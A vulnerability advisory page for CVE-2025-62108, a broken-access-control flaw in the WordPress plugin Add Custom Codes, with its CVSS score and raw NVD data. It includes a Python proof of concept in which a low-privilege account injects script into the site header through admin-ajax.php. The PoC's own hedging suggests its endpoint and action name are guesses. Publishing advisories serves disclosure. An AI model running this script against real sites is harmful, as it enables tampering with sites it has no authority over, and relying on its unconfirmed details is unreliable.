Security Vulnerability Report
中文
CVE-2025-62108 CVSS 5.4 MEDIUM

CVE-2025-62108

Published: 2025-12-31 15:15:53
Last Modified: 2026-04-23 15:34:33

Description

Missing Authorization vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Add Custom Codes: from n/a through <= 4.80.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Add Custom Codes <= 4.80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62108 PoC - Broken Access Control in Add Custom Codes Plugin # Target: WordPress site with vulnerable Add Custom Codes plugin <= 4.80 target = "http://target-wordpress-site.com" username = "low_privilege_user" password = "user_password" def exploit_cve_2025_62108(): """ This PoC demonstrates the broken access control vulnerability in Add Custom Codes plugin. The plugin fails to properly check user capabilities before allowing custom code modifications. """ session = requests.Session() # Step 1: Login with low privilege account login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Successfully logged in with low privilege account") # Step 2: Exploit broken access control to add custom code # The plugin's admin-ajax.php or admin-post.php endpoint lacks capability check exploit_url = f"{target}/wp-admin/admin-ajax.php" # Malicious payload - inject arbitrary JavaScript exploit_data = { 'action': 'add_custom_codes_save', 'code_type': 'header', 'custom_code': '<script>alert("XSS via Broken Access Control")</script>', 'nonce': '' # Some versions may not require nonce validation } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent - Access control bypass successful") print("[+] Malicious code may have been saved to the site") return True else: print("[-] Exploit failed or access was blocked") return False if __name__ == "__main__": print("CVE-2025-62108 - Add Custom Codes Plugin Broken Access Control") exploit_cve_2025_62108()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62108", "sourceIdentifier": "[email protected]", "published": "2025-12-31T15:15:52.580", "lastModified": "2026-04-23T15:34:33.423", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Add Custom Codes: from n/a through <= 4.80."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en SaifuMak Add Custom Codes permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Add Custom Codes: desde n/a hasta 4.80."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-plugin-4-80-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}